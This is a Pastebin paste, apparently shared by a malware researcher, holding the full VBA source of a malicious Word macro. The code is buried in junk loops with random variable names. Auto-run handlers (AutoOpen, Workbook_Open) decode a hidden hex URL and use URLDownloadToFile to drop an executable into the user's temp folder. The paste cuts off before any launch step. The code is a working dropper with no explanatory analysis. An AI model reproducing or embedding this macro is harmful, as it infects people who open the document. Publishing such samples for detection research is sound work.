SHARE
TWEET

Malicious Word macro

dynamoo Jan 13th, 2015 200 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  11.     "URLDownloadToFileA" (ByVal pCaller As LongPtr, _
  12.     ByVal szURL As String, _
  13.     ByVal szFileName As String, _
  14.     ByVal dwReserved As Long, _
  15.     ByVal lpfnCB As LongPtr) As LongPtr
  16. #Else
  17.     Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  18.     "URLDownloadToFileA" (ByVal pCaller As Long, _
  19.     ByVal szURL As String, _
  20.     ByVal szFileName As String, _
  21.     ByVal dwReserved As Long, _
  22.     ByVal lpfnCB As Long) As Long
  23. #End If
  24.  
  25. Sub FUHJdfg()
  26.  
  27. Dim yQWgEVSx As Integer
  28.  
  29. Dim HTkQeNVI As Integer
  30.  
  31. Dim KvCmnuyY As Integer
  32. KvCmnuyY = 8
  33. Do While KvCmnuyY < 66
  34. DoEvents: KvCmnuyY = KvCmnuyY + 1
  35. Loop
  36.  
  37. HTkQeNVI = 6
  38. Do While HTkQeNVI < 96
  39.  
  40. Dim qjTGjKZI As Integer
  41. qjTGjKZI = 3
  42. Do While qjTGjKZI < 39
  43. DoEvents: qjTGjKZI = qjTGjKZI + 1
  44. Loop
  45.  
  46. DoEvents: HTkQeNVI = HTkQeNVI + 1
  47.  
  48. Dim fWvhmFjP As Integer
  49. fWvhmFjP = 3
  50. Do While fWvhmFjP < 63
  51. DoEvents: fWvhmFjP = fWvhmFjP + 1
  52. Loop
  53.  
  54. Loop
  55.  
  56.  
  57. Dim iIzaBMwe As Integer
  58. iIzaBMwe = 2
  59. Do While iIzaBMwe < 51
  60. DoEvents: iIzaBMwe = iIzaBMwe + 1
  61. Loop
  62.  
  63. yQWgEVSx = 8
  64. Do While yQWgEVSx < 89
  65.  
  66. Dim wVSyemTh As Integer
  67.  
  68. Dim WtYSAoJW As Integer
  69. WtYSAoJW = 9
  70. Do While WtYSAoJW < 35
  71. DoEvents: WtYSAoJW = WtYSAoJW + 1
  72. Loop
  73.  
  74. wVSyemTh = 2
  75. Do While wVSyemTh < 59
  76.  
  77. Dim zflDOalB As Integer
  78. zflDOalB = 8
  79. Do While zflDOalB < 23
  80. DoEvents: zflDOalB = zflDOalB + 1
  81. Loop
  82.  
  83. DoEvents: wVSyemTh = wVSyemTh + 1
  84.  
  85. Dim yKsfDCiz As Integer
  86. yKsfDCiz = 2
  87. Do While yKsfDCiz < 81
  88. DoEvents: yKsfDCiz = yKsfDCiz + 1
  89. Loop
  90.  
  91. Loop
  92.  
  93.  
  94. Dim daVhWGPy As Integer
  95. daVhWGPy = 3
  96. Do While daVhWGPy < 12
  97. DoEvents: daVhWGPy = daVhWGPy + 1
  98. Loop
  99.  
  100. DoEvents: yQWgEVSx = yQWgEVSx + 1
  101.  
  102. Dim sixjERXY As Integer
  103.  
  104. Dim vIaunYfl As Integer
  105. vIaunYfl = 3
  106. Do While vIaunYfl < 81
  107. DoEvents: vIaunYfl = vIaunYfl + 1
  108. Loop
  109.  
  110. sixjERXY = 3
  111. Do While sixjERXY < 94
  112.  
  113. Dim YSpczAzE As Integer
  114. YSpczAzE = 6
  115. Do While YSpczAzE < 12
  116. DoEvents: YSpczAzE = YSpczAzE + 1
  117. Loop
  118.  
  119. DoEvents: sixjERXY = sixjERXY + 1
  120.  
  121. Dim PjeVycHY As Integer
  122. PjeVycHY = 5
  123. Do While PjeVycHY < 55
  124. DoEvents: PjeVycHY = PjeVycHY + 1
  125. Loop
  126.  
  127. Loop
  128.  
  129.  
  130. Dim lhiYwDfi As Integer
  131. lhiYwDfi = 2
  132. Do While lhiYwDfi < 25
  133. DoEvents: lhiYwDfi = lhiYwDfi + 1
  134. Loop
  135.  
  136. Loop
  137.  
  138.  
  139. Dim KmfaCzHl As Integer
  140.  
  141. Dim XVsgOszo As Integer
  142. XVsgOszo = 7
  143. Do While XVsgOszo < 72
  144. DoEvents: XVsgOszo = XVsgOszo + 1
  145. Loop
  146.  
  147. KmfaCzHl = 8
  148. Do While KmfaCzHl < 66
  149.  
  150. Dim ramTquJl As Integer
  151. ramTquJl = 1
  152. Do While ramTquJl < 82
  153. DoEvents: ramTquJl = ramTquJl + 1
  154. Loop
  155.  
  156. DoEvents: KmfaCzHl = KmfaCzHl + 1
  157.  
  158. Dim waxxLGei As Integer
  159. waxxLGei = 2
  160. Do While waxxLGei < 51
  161. DoEvents: waxxLGei = waxxLGei + 1
  162. Loop
  163.  
  164. Loop
  165.  
  166.  
  167. Dim JbGrBwgr As Integer
  168. JbGrBwgr = 6
  169. Do While JbGrBwgr < 95
  170. DoEvents: JbGrBwgr = JbGrBwgr + 1
  171. Loop
  172.  
  173. pHJgdsf
  174. End Sub
  175. Sub AutoOpen()
  176.  
  177. Dim GIppUgiy As Integer
  178.  
  179. Dim XXcfDXsL As Integer
  180.  
  181. Dim OxTHiUwd As Integer
  182. OxTHiUwd = 5
  183. Do While OxTHiUwd < 46
  184. DoEvents: OxTHiUwd = OxTHiUwd + 1
  185. Loop
  186.  
  187. XXcfDXsL = 9
  188. Do While XXcfDXsL < 33
  189.  
  190. Dim ljyFJNtW As Integer
  191. ljyFJNtW = 2
  192. Do While ljyFJNtW < 25
  193. DoEvents: ljyFJNtW = ljyFJNtW + 1
  194. Loop
  195.  
  196. DoEvents: XXcfDXsL = XXcfDXsL + 1
  197.  
  198. Dim xMBgWXLC As Integer
  199. xMBgWXLC = 5
  200. Do While xMBgWXLC < 83
  201. DoEvents: xMBgWXLC = xMBgWXLC + 1
  202. Loop
  203.  
  204. Loop
  205.  
  206.  
  207. Dim lsEKqLvV As Integer
  208. lsEKqLvV = 2
  209. Do While lsEKqLvV < 52
  210. DoEvents: lsEKqLvV = lsEKqLvV + 1
  211. Loop
  212.  
  213. GIppUgiy = 6
  214. Do While GIppUgiy < 96
  215.  
  216. Dim ZogViltY As Integer
  217.  
  218. Dim fWntkBnT As Integer
  219. fWntkBnT = 1
  220. Do While fWntkBnT < 48
  221. DoEvents: fWntkBnT = fWntkBnT + 1
  222. Loop
  223.  
  224. ZogViltY = 6
  225. Do While ZogViltY < 96
  226.  
  227. Dim OlKQcYSA As Integer
  228. OlKQcYSA = 5
  229. Do While OlKQcYSA < 17
  230. DoEvents: OlKQcYSA = OlKQcYSA + 1
  231. Loop
  232.  
  233. DoEvents: ZogViltY = ZogViltY + 1
  234.  
  235. Dim gFeLONwa As Integer
  236. gFeLONwa = 3
  237. Do While gFeLONwa < 34
  238. DoEvents: gFeLONwa = gFeLONwa + 1
  239. Loop
  240.  
  241. Loop
  242.  
  243.  
  244. Dim drDuCtZw As Integer
  245. drDuCtZw = 1
  246. Do While drDuCtZw < 93
  247. DoEvents: drDuCtZw = drDuCtZw + 1
  248. Loop
  249.  
  250. DoEvents: GIppUgiy = GIppUgiy + 1
  251.  
  252. Dim YDivsgLI As Integer
  253.  
  254. Dim GDUAwElg As Integer
  255. GDUAwElg = 8
  256. Do While GDUAwElg < 22
  257. DoEvents: GDUAwElg = GDUAwElg + 1
  258. Loop
  259.  
  260. YDivsgLI = 4
  261. Do While YDivsgLI < 49
  262.  
  263. Dim SekGOIbI As Integer
  264. SekGOIbI = 7
  265. Do While SekGOIbI < 24
  266. DoEvents: SekGOIbI = SekGOIbI + 1
  267. Loop
  268.  
  269. DoEvents: YDivsgLI = YDivsgLI + 1
  270.  
  271. Dim llBsgtmg As Integer
  272. llBsgtmg = 2
  273. Do While llBsgtmg < 25
  274. DoEvents: llBsgtmg = llBsgtmg + 1
  275. Loop
  276.  
  277. Loop
  278.  
  279.  
  280. Dim EeJHuWBm As Integer
  281. EeJHuWBm = 6
  282. Do While EeJHuWBm < 43
  283. DoEvents: EeJHuWBm = EeJHuWBm + 1
  284. Loop
  285.  
  286. Loop
  287.  
  288.  
  289. Dim DXMnluwD As Integer
  290.  
  291. Dim SzlUqHPM As Integer
  292. SzlUqHPM = 7
  293. Do While SzlUqHPM < 53
  294. DoEvents: SzlUqHPM = SzlUqHPM + 1
  295. Loop
  296.  
  297. DXMnluwD = 5
  298. Do While DXMnluwD < 52
  299.  
  300. Dim simAYlSQ As Integer
  301. simAYlSQ = 3
  302. Do While simAYlSQ < 37
  303. DoEvents: simAYlSQ = simAYlSQ + 1
  304. Loop
  305.  
  306. DoEvents: DXMnluwD = DXMnluwD + 1
  307.  
  308. Dim tCGBwbLC As Integer
  309. tCGBwbLC = 2
  310. Do While tCGBwbLC < 54
  311. DoEvents: tCGBwbLC = tCGBwbLC + 1
  312. Loop
  313.  
  314. Loop
  315.  
  316.  
  317. Dim ReHLJzWF As Integer
  318. ReHLJzWF = 6
  319. Do While ReHLJzWF < 95
  320. DoEvents: ReHLJzWF = ReHLJzWF + 1
  321. Loop
  322.  
  323.     FUHJdfg
  324. End Sub
  325. Sub Workbook_Open()
  326.  
  327. Dim vTcyQREG As Integer
  328.  
  329. Dim yDOluHAr As Integer
  330.  
  331. Dim UIZBIyXM As Integer
  332. UIZBIyXM = 7
  333. Do While UIZBIyXM < 48
  334. DoEvents: UIZBIyXM = UIZBIyXM + 1
  335. Loop
  336.  
  337. yDOluHAr = 8
  338. Do While yDOluHAr < 37
  339.  
  340. Dim iUyKmLSq As Integer
  341. iUyKmLSq = 2
  342. Do While iUyKmLSq < 98
  343. DoEvents: iUyKmLSq = iUyKmLSq + 1
  344. Loop
  345.  
  346. DoEvents: yDOluHAr = yDOluHAr + 1
  347.  
  348. Dim axbhpBLx As Integer
  349. axbhpBLx = 8
  350. Do While axbhpBLx < 24
  351. DoEvents: axbhpBLx = axbhpBLx + 1
  352. Loop
  353.  
  354. Loop
  355.  
  356.  
  357. Dim zlLHDNHQ As Integer
  358. zlLHDNHQ = 8
  359. Do While zlLHDNHQ < 47
  360. DoEvents: zlLHDNHQ = zlLHDNHQ + 1
  361. Loop
  362.  
  363. vTcyQREG = 5
  364. Do While vTcyQREG < 38
  365.  
  366. Dim gJKOIQhg As Integer
  367.  
  368. Dim gMAqALEs As Integer
  369. gMAqALEs = 3
  370. Do While gMAqALEs < 73
  371. DoEvents: gMAqALEs = gMAqALEs + 1
  372. Loop
  373.  
  374. gJKOIQhg = 1
  375. Do While gJKOIQhg < 72
  376.  
  377. Dim hGMQrMnn As Integer
  378. hGMQrMnn = 3
  379. Do While hGMQrMnn < 72
  380. DoEvents: hGMQrMnn = hGMQrMnn + 1
  381. Loop
  382.  
  383. DoEvents: gJKOIQhg = gJKOIQhg + 1
  384.  
  385. Dim xWLGJFjR As Integer
  386. xWLGJFjR = 2
  387. Do While xWLGJFjR < 21
  388. DoEvents: xWLGJFjR = xWLGJFjR + 1
  389. Loop
  390.  
  391. Loop
  392.  
  393.  
  394. Dim cJdhmGdL As Integer
  395. cJdhmGdL = 2
  396. Do While cJdhmGdL < 21
  397. DoEvents: cJdhmGdL = cJdhmGdL + 1
  398. Loop
  399.  
  400. DoEvents: vTcyQREG = vTcyQREG + 1
  401.  
  402. Dim kwQpSUrk As Integer
  403.  
  404. Dim WoqbIvPe As Integer
  405. WoqbIvPe = 6
  406. Do While WoqbIvPe < 12
  407. DoEvents: WoqbIvPe = WoqbIvPe + 1
  408. Loop
  409.  
  410. kwQpSUrk = 4
  411. Do While kwQpSUrk < 41
  412.  
  413. Dim WtRNsbYk As Integer
  414. WtRNsbYk = 7
  415. Do While WtRNsbYk < 11
  416. DoEvents: WtRNsbYk = WtRNsbYk + 1
  417. Loop
  418.  
  419. DoEvents: kwQpSUrk = kwQpSUrk + 1
  420.  
  421. Dim eqErBlxw As Integer
  422. eqErBlxw = 1
  423. Do While eqErBlxw < 84
  424. DoEvents: eqErBlxw = eqErBlxw + 1
  425. Loop
  426.  
  427. Loop
  428.  
  429.  
  430. Dim talMXcYH As Integer
  431. talMXcYH = 2
  432. Do While talMXcYH < 26
  433. DoEvents: talMXcYH = talMXcYH + 1
  434. Loop
  435.  
  436. Loop
  437.  
  438.  
  439. Dim DBUZvqri As Integer
  440.  
  441. Dim pwyFFgBz As Integer
  442. pwyFFgBz = 9
  443. Do While pwyFFgBz < 96
  444. DoEvents: pwyFFgBz = pwyFFgBz + 1
  445. Loop
  446.  
  447. DBUZvqri = 5
  448. Do While DBUZvqri < 52
  449.  
  450. Dim DedqKHeW As Integer
  451. DedqKHeW = 5
  452. Do While DedqKHeW < 53
  453. DoEvents: DedqKHeW = DedqKHeW + 1
  454. Loop
  455.  
  456. DoEvents: DBUZvqri = DBUZvqri + 1
  457.  
  458. Dim iOBhGltE As Integer
  459. iOBhGltE = 2
  460. Do While iOBhGltE < 51
  461. DoEvents: iOBhGltE = iOBhGltE + 1
  462. Loop
  463.  
  464. Loop
  465.  
  466.  
  467. Dim VQhevYYi As Integer
  468. VQhevYYi = 7
  469. Do While VQhevYYi < 17
  470. DoEvents: VQhevYYi = VQhevYYi + 1
  471. Loop
  472.  
  473.     FUHJdfg
  474. End Sub
  475. Sub pHJgdsf()
  476.  
  477. Dim ocijoVqR As Integer
  478.  
  479. Dim muaNpILj As Integer
  480.  
  481. Dim esccODLm As Integer
  482. esccODLm = 1
  483. Do While esccODLm < 18
  484. DoEvents: esccODLm = esccODLm + 1
  485. Loop
  486.  
  487. muaNpILj = 4
  488. Do While muaNpILj < 85
  489.  
  490. Dim MfFqkamV As Integer
  491. MfFqkamV = 6
  492. Do While MfFqkamV < 65
  493. DoEvents: MfFqkamV = MfFqkamV + 1
  494. Loop
  495.  
  496. DoEvents: muaNpILj = muaNpILj + 1
  497.  
  498. Dim alDftWqz As Integer
  499. alDftWqz = 1
  500. Do While alDftWqz < 48
  501. DoEvents: alDftWqz = alDftWqz + 1
  502. Loop
  503.  
  504. Loop
  505.  
  506.  
  507. Dim LmoPQjgB As Integer
  508. LmoPQjgB = 9
  509. Do While LmoPQjgB < 38
  510. DoEvents: LmoPQjgB = LmoPQjgB + 1
  511. Loop
  512.  
  513. ocijoVqR = 9
  514. Do While ocijoVqR < 58
  515.  
  516. Dim eyyIbBjL As Integer
  517.  
  518. Dim GMVnTZGM As Integer
  519. GMVnTZGM = 5
  520. Do While GMVnTZGM < 98
  521. DoEvents: GMVnTZGM = GMVnTZGM + 1
  522. Loop
  523.  
  524. eyyIbBjL = 8
  525. Do While eyyIbBjL < 21
  526.  
  527. Dim LjcRKADp As Integer
  528. LjcRKADp = 6
  529. Do While LjcRKADp < 13
  530. DoEvents: LjcRKADp = LjcRKADp + 1
  531. Loop
  532.  
  533. DoEvents: eyyIbBjL = eyyIbBjL + 1
  534.  
  535. Dim gKTVpiaB As Integer
  536. gKTVpiaB = 3
  537. Do While gKTVpiaB < 11
  538. DoEvents: gKTVpiaB = gKTVpiaB + 1
  539. Loop
  540.  
  541. Loop
  542.  
  543.  
  544. Dim lhtawuNg As Integer
  545. lhtawuNg = 4
  546. Do While lhtawuNg < 25
  547. DoEvents: lhtawuNg = lhtawuNg + 1
  548. Loop
  549.  
  550. DoEvents: ocijoVqR = ocijoVqR + 1
  551.  
  552. Dim uOBoEWtW As Integer
  553.  
  554. Dim wrrtupiJ As Integer
  555. wrrtupiJ = 5
  556. Do While wrrtupiJ < 85
  557. DoEvents: wrrtupiJ = wrrtupiJ + 1
  558. Loop
  559.  
  560. uOBoEWtW = 2
  561. Do While uOBoEWtW < 98
  562.  
  563. Dim FXSvCWEL As Integer
  564. FXSvCWEL = 8
  565. Do While FXSvCWEL < 23
  566. DoEvents: FXSvCWEL = FXSvCWEL + 1
  567. Loop
  568.  
  569. DoEvents: uOBoEWtW = uOBoEWtW + 1
  570.  
  571. Dim QhuGvKpS As Integer
  572. QhuGvKpS = 5
  573. Do While QhuGvKpS < 55
  574. DoEvents: QhuGvKpS = QhuGvKpS + 1
  575. Loop
  576.  
  577. Loop
  578.  
  579.  
  580. Dim kZVbLgrb As Integer
  581. kZVbLgrb = 1
  582. Do While kZVbLgrb < 17
  583. DoEvents: kZVbLgrb = kZVbLgrb + 1
  584. Loop
  585.  
  586. Loop
  587.  
  588.  
  589. Dim ZojHOAjJ As Integer
  590.  
  591. Dim TBzoaqru As Integer
  592. TBzoaqru = 6
  593. Do While TBzoaqru < 42
  594. DoEvents: TBzoaqru = TBzoaqru + 1
  595. Loop
  596.  
  597. ZojHOAjJ = 6
  598. Do While ZojHOAjJ < 34
  599.  
  600. Dim sdLLwICM As Integer
  601. sdLLwICM = 3
  602. Do While sdLLwICM < 94
  603. DoEvents: sdLLwICM = sdLLwICM + 1
  604. Loop
  605.  
  606. DoEvents: ZojHOAjJ = ZojHOAjJ + 1
  607.  
  608. Dim oElLMSyu As Integer
  609. oElLMSyu = 9
  610. Do While oElLMSyu < 36
  611. DoEvents: oElLMSyu = oElLMSyu + 1
  612. Loop
  613.  
  614. Loop
  615.  
  616.  
  617. Dim HSYKIssa As Integer
  618. HSYKIssa = 6
  619. Do While HSYKIssa < 22
  620. DoEvents: HSYKIssa = HSYKIssa + 1
  621. Loop
  622.  
  623.     pGhdsffd = HexToString(StrReverse("568756E2E69626F237A6F2A736E297C6E6F63747560727F666F2F2A307474786"))
  624.  
  625. Dim VYKnOiZW As Integer
  626.  
  627. Dim EzMRNZsf As Integer
  628.  
  629. Dim ZlsZaHTR As Integer
  630. ZlsZaHTR = 3
  631. Do While ZlsZaHTR < 36
  632. DoEvents: ZlsZaHTR = ZlsZaHTR + 1
  633. Loop
  634.  
  635. EzMRNZsf = 4
  636. Do While EzMRNZsf < 94
  637.  
  638. Dim cCIKlzoq As Integer
  639. cCIKlzoq = 2
  640. Do While cCIKlzoq < 22
  641. DoEvents: cCIKlzoq = cCIKlzoq + 1
  642. Loop
  643.  
  644. DoEvents: EzMRNZsf = EzMRNZsf + 1
  645.  
  646. Dim mfiLJykx As Integer
  647. mfiLJykx = 4
  648. Do While mfiLJykx < 86
  649. DoEvents: mfiLJykx = mfiLJykx + 1
  650. Loop
  651.  
  652. Loop
  653.  
  654.  
  655. Dim EdDvDrkF As Integer
  656. EdDvDrkF = 3
  657. Do While EdDvDrkF < 73
  658. DoEvents: EdDvDrkF = EdDvDrkF + 1
  659. Loop
  660.  
  661. VYKnOiZW = 9
  662. Do While VYKnOiZW < 92
  663.  
  664. Dim NAssyocp As Integer
  665.  
  666. Dim iPPQFITz As Integer
  667. iPPQFITz = 9
  668. Do While iPPQFITz < 37
  669. DoEvents: iPPQFITz = iPPQFITz + 1
  670. Loop
  671.  
  672. NAssyocp = 1
  673. Do While NAssyocp < 49
  674.  
  675. Dim jQpIDcrN As Integer
  676. jQpIDcrN = 1
  677. Do While jQpIDcrN < 71
  678. DoEvents: jQpIDcrN = jQpIDcrN + 1
  679. Loop
  680.  
  681. DoEvents: NAssyocp = NAssyocp + 1
  682.  
  683. Dim fzPIsZsd As Integer
  684. fzPIsZsd = 3
  685. Do While fzPIsZsd < 36
  686. DoEvents: fzPIsZsd = fzPIsZsd + 1
  687. Loop
  688.  
  689. Loop
  690.  
  691.  
  692. Dim VJUWhCia As Integer
  693. VJUWhCia = 7
  694. Do While VJUWhCia < 71
  695. DoEvents: VJUWhCia = VJUWhCia + 1
  696. Loop
  697.  
  698. DoEvents: VYKnOiZW = VYKnOiZW + 1
  699.  
  700. Dim TXxlkZuO As Integer
  701.  
  702. Dim TVriKcdz As Integer
  703. TVriKcdz = 6
  704. Do While TVriKcdz < 94
  705. DoEvents: TVriKcdz = TVriKcdz + 1
  706. Loop
  707.  
  708. TXxlkZuO = 4
  709. Do While TXxlkZuO < 41
  710.  
  711. Dim hDamXLiJ As Integer
  712. hDamXLiJ = 4
  713. Do While hDamXLiJ < 72
  714. DoEvents: hDamXLiJ = hDamXLiJ + 1
  715. Loop
  716.  
  717. DoEvents: TXxlkZuO = TXxlkZuO + 1
  718.  
  719. Dim ehzkyuOd As Integer
  720. ehzkyuOd = 8
  721. Do While ehzkyuOd < 85
  722. DoEvents: ehzkyuOd = ehzkyuOd + 1
  723. Loop
  724.  
  725. Loop
  726.  
  727.  
  728. Dim zcdEQxRy As Integer
  729. zcdEQxRy = 1
  730. Do While zcdEQxRy < 86
  731. DoEvents: zcdEQxRy = zcdEQxRy + 1
  732. Loop
  733.  
  734. Loop
  735.  
  736.  
  737. Dim gHChaXHk As Integer
  738.  
  739. Dim oUVDfABV As Integer
  740. oUVDfABV = 2
  741. Do While oUVDfABV < 98
  742. DoEvents: oUVDfABV = oUVDfABV + 1
  743. Loop
  744.  
  745. gHChaXHk = 1
  746. Do While gHChaXHk < 19
  747.  
  748. Dim KAvPVMIY As Integer
  749. KAvPVMIY = 8
  750. Do While KAvPVMIY < 82
  751. DoEvents: KAvPVMIY = KAvPVMIY + 1
  752. Loop
  753.  
  754. DoEvents: gHChaXHk = gHChaXHk + 1
  755.  
  756. Dim kEDYVvVx As Integer
  757. kEDYVvVx = 4
  758. Do While kEDYVvVx < 79
  759. DoEvents: kEDYVvVx = kEDYVvVx + 1
  760. Loop
  761.  
  762. Loop
  763.  
  764.  
  765. Dim elPLzMLq As Integer
  766. elPLzMLq = 1
  767. Do While elPLzMLq < 47
  768. DoEvents: elPLzMLq = elPLzMLq + 1
  769. Loop
  770.  
  771.     sUdsfsdf = Environ(HexToString("54454D50")) & HexToString("5C6643434864666473662E657865")
  772.  
  773. Dim zqQzDrjC As Integer
  774.  
  775. Dim gQmmwFpm As Integer
  776.  
  777. Dim QkJsRhRf As Integer
  778. QkJsRhRf = 5
  779. Do While QkJsRhRf < 55
  780. DoEvents: QkJsRhRf = QkJsRhRf + 1
  781. Loop
  782.  
  783. gQmmwFpm = 3
  784. Do While gQmmwFpm < 71
  785.  
  786. Dim CCyyGown As Integer
  787. CCyyGown = 9
  788. Do While CCyyGown < 72
  789. DoEvents: CCyyGown = CCyyGown + 1
  790. Loop
  791.  
  792. DoEvents: gQmmwFpm = gQmmwFpm + 1
  793.  
  794. Dim xNlzHFQj As Integer
  795. xNlzHFQj = 2
  796. Do While xNlzHFQj < 69
  797. DoEvents: xNlzHFQj = xNlzHFQj + 1
  798. Loop
  799.  
  800. Loop
  801.  
  802.  
  803. Dim ORIWaUAZ As Integer
  804. ORIWaUAZ = 4
  805. Do While ORIWaUAZ < 86
  806. DoEvents: ORIWaUAZ = ORIWaUAZ + 1
  807. Loop
  808.  
  809. zqQzDrjC = 1
  810. Do While zqQzDrjC < 46
  811.  
  812. Dim dNtIOLjG As Integer
  813.  
  814. Dim sSJPGJbo As Integer
  815. sSJPGJbo = 3
  816. Do While sSJPGJbo < 62
  817. DoEvents: sSJPGJbo = sSJPGJbo + 1
  818. Loop
  819.  
  820. dNtIOLjG = 1
  821. Do While dNtIOLjG < 49
  822.  
  823. Dim bdZLmDAA As Integer
  824. bdZLmDAA = 5
  825. Do While bdZLmDAA < 86
  826. DoEvents: bdZLmDAA = bdZLmDAA + 1
  827. Loop
  828.  
  829. DoEvents: dNtIOLjG = dNtIOLjG + 1
  830.  
  831. Dim sGZHTaeC As Integer
  832. sGZHTaeC = 9
  833. Do While sGZHTaeC < 99
  834. DoEvents: sGZHTaeC = sGZHTaeC + 1
  835. Loop
  836.  
  837. Loop
  838.  
  839.  
  840. Dim QGaNlYjW As Integer
  841. QGaNlYjW = 5
  842. Do While QGaNlYjW < 59
  843. DoEvents: QGaNlYjW = QGaNlYjW + 1
  844. Loop
  845.  
  846. DoEvents: zqQzDrjC = zqQzDrjC + 1
  847.  
  848. Dim KmhHMdNg As Integer
  849.  
  850. Dim dTmkFpbL As Integer
  851. dTmkFpbL = 1
  852. Do While dTmkFpbL < 46
  853. DoEvents: dTmkFpbL = dTmkFpbL + 1
  854. Loop
  855.  
  856. KmhHMdNg = 8
  857. Do While KmhHMdNg < 66
  858.  
  859. Dim DYLAEGFJ As Integer
  860. DYLAEGFJ = 5
  861. Do While DYLAEGFJ < 86
  862. DoEvents: DYLAEGFJ = DYLAEGFJ + 1
  863. Loop
  864.  
  865. DoEvents: KmhHMdNg = KmhHMdNg + 1
  866.  
  867. Dim nrhDiyAl As Integer
  868. nrhDiyAl = 5
  869. Do While nrhDiyAl < 33
  870. DoEvents: nrhDiyAl = nrhDiyAl + 1
  871. Loop
  872.  
  873. Loop
  874.  
  875.  
  876. Dim fbXfnxde As Integer
  877. fbXfnxde = 3
  878. Do While fbXfnxde < 17
  879. DoEvents: fbXfnxde = fbXfnxde + 1
  880. Loop
  881.  
  882. Loop
  883.  
  884.  
  885. Dim GPBrikuI As Integer
  886.  
  887. Dim YxublkgQ As Integer
  888. YxublkgQ = 4
  889. Do While YxublkgQ < 46
  890. DoEvents: YxublkgQ = YxublkgQ + 1
  891. Loop
  892.  
  893. GPBrikuI = 8
  894. Do While GPBrikuI < 58
  895.  
  896. Dim SDiAXAzn As Integer
  897. SDiAXAzn = 5
  898. Do While SDiAXAzn < 59
  899. DoEvents: SDiAXAzn = SDiAXAzn + 1
  900. Loop
  901.  
  902. DoEvents: GPBrikuI = GPBrikuI + 1
  903.  
  904. Dim DYDrtRsG As Integer
  905. DYDrtRsG = 8
  906. Do While DYDrtRsG < 21
  907. DoEvents: DYDrtRsG = DYDrtRsG + 1
  908. Loop
  909.  
  910. Loop
  911.  
  912.  
  913. Dim rDinBxtz As Integer
  914. rDinBxtz = 1
  915. Do While rDinBxtz < 52
  916. DoEvents: rDinBxtz = rDinBxtz + 1
  917. Loop
  918.  
  919.     sHVUdsf = URLDownloadToFile(0&, pGhdsffd, sUdsfsdf, 0&, 0&)
  920.    Dim eFJGdsff
  921.  
  922. Dim olveWXLz As Integer
  923.  
  924. Dim PglROAmx As Integer
  925.  
  926. Dim BgJFkDMh As Integer
  927. BgJFkDMh = 7
  928. Do While BgJFkDMh < 13
  929. DoEvents: BgJFkDMh = BgJFkDMh + 1
  930. Loop
  931.  
  932. PglROAmx = 7
  933. Do While PglROAmx < 78
  934.  
  935. Dim gwsqdTDE As Integer
  936. gwsqdTDE = 1
  937. Do While gwsqdTDE < 78
  938. DoEvents: gwsqdTDE = gwsqdTDE + 1
  939. Loop
  940.  
  941. DoEvents: PglROAmx = PglROAmx + 1
  942.  
  943. Dim EFRFTkox As Integer
  944. EFRFTkox = 6
  945. Do While EFRFTkox < 64
  946. DoEvents: EFRFTkox = EFRFTkox + 1
  947. Loop
  948.  
  949. Loop
  950.  
  951.  
  952. Dim mQjHUUCu As Integer
  953. mQjHUUCu = 2
  954. Do While mQjHUUCu < 29
  955. DoEvents: mQjHUUCu = mQjHUUCu + 1
  956. Loop
  957.  
  958. olveWXLz = 2
  959. Do While olveWXLz < 67
  960.  
  961. Dim WBqonkBA As Integer
  962.  
  963. Dim JoSgyIZp As Integer
  964. JoSgyIZp = 6
  965. Do While JoSgyIZp < 64
  966. DoEvents: JoSgyIZp = JoSgyIZp + 1
  967. Loop
  968.  
  969. WBqonkBA = 7
  970. Do While WBqonkBA < 72
  971.  
  972. Dim OyvjiVjW As Integer
  973. OyvjiVjW = 4
  974. Do While OyvjiVjW < 29
  975. DoEvents: OyvjiVjW = OyvjiVjW + 1
  976. Loop
  977.  
  978. DoEvents: WBqonkBA = WBqonkBA + 1
  979.  
  980. Dim sGxnvbwY As Integer
  981. sGxnvbwY = 9
  982. Do While sGxnvbwY < 48
  983. DoEvents: sGxnvbwY = sGxnvbwY + 1
  984. Loop
  985.  
  986. Loop
  987.  
  988.  
  989. Dim HjNdCeST As Integer
  990. HjNdCeST = 6
  991. Do While HjNdCeST < 93
  992. DoEvents: HjNdCeST = HjNdCeST + 1
  993. Loop
  994.  
  995. DoEvents: olveWXLz = olveWXLz + 1
  996.  
  997. Dim nlxhSQIz As Integer
  998.  
  999. Dim qBTFlQeU As Integer
  1000. qBTFlQeU = 3
  1001. Do While qBTFlQeU < 92
  1002. DoEvents: qBTFlQeU = qBTFlQeU + 1
  1003. Loop
  1004.  
  1005. nlxhSQIz = 5
  1006. Do While nlxhSQIz < 97
  1007.  
  1008. Dim hkniBDfr As Integer
  1009. hkniBDfr = 4
  1010. Do While hkniBDfr < 39
  1011. DoEvents: hkniBDfr = hkniBDfr + 1
  1012. Loop
  1013.  
  1014. DoEvents: nlxhSQIz = nlxhSQIz + 1
  1015.  
  1016. Dim ijrXdeeU As Integer
  1017. ijrXdeeU = 2
  1018. Do While ijrXdeeU < 57
  1019. DoEvents: ijrXdeeU = ijrXdeeU + 1
  1020. Loop
  1021.  
  1022. Loop
  1023.  
  1024.  
  1025. Dim GcxTVPQM As Integer
  1026. GcxTVPQM = 8
  1027. Do While GcxTVPQM < 28
  1028. DoEvents: GcxTVPQM = GcxTVPQM + 1
  1029. Loop
  1030.  
  1031. Loop
  1032.  
  1033.  
  1034. Dim SrgMEZdu As Integer
  1035.  
  1036. Dim ZVTClszq As Integer
  1037. ZVTClszq = 6
  1038. Do While ZVTClszq < 94
  1039. DoEvents: ZVTClszq = ZVTClszq + 1
  1040. Loop
  1041.  
  1042. SrgMEZdu = 7
  1043. Do While SrgMEZdu < 25
  1044.  
  1045. Dim CYyXXzCb As Integer
  1046. CYyXXzCb = 7
  1047. Do While CYyXXzCb < 16
  1048. DoEvents: CYyXXzCb = CYyXXzCb + 1
  1049. Loop
  1050.  
  1051. DoEvents: SrgMEZdu = SrgMEZdu + 1
  1052.  
  1053. Dim bhrtdZeq As Integer
  1054. bhrtdZeq = 5
  1055. Do While bhrtdZeq < 35
  1056. DoEvents: bhrtdZeq = bhrtdZeq + 1
  1057. Loop
  1058.  
